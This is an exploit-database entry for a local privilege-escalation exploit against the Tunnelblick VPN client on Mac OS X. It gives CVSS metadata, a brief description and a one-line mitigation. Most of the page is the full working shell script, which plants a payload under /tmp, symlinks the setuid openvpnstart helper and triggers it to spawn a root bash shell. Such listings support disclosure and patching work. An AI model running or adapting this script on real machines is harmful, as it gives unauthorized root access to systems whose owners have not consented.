Pwnnel Blicker

vendor:

Tunnel Blick

by:

zx2c4

9,8

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: Tunnel Blick

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac OS X

2013

This exploit is for Tunnel Blick, a popular open source VPN client for Mac OS X. It creates a vulnerable directory in /tmp/pwn/openvpn/openvpn-0 and prepares a payload in the form of a shell script. It then creates a symlink to the vulnerable program and triggers it, allowing the attacker to gain root privileges.

Mitigation:

Ensure that the Tunnel Blick application is up to date and that all security patches are applied.

Source

Exploit-DB raw data:

#!/bin/sh

#### Pwnnel Blicker ####
#       for kids       #
#                      #
#         zx2c4        #
#                      #
########################

# This is another exploit for Tunnel Blick.
# Other exploits for Tunnel Blick are available here:
#      http://git.zx2c4.com/Pwnnel-Blicker/tree/



echo "[+] Making vulnerable directory."
mkdir -pv /tmp/pwn/openvpn/openvpn-0

echo "[+] Preparing payload."
cat > /tmp/pwn/openvpn/openvpn-0/openvpn <<_EOF
#!/bin/sh
echo "[+] Cleaning up."
rm -rfv /tmp/pwn
echo "[+] Getting root."
exec bash
_EOF
chmod -v +x /tmp/pwn/openvpn/openvpn-0/openvpn

echo "[+] Creating symlink."
ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start

echo "[+] Triggering vulnerable program."
exec /tmp/pwn/start OpenVPNInfo 0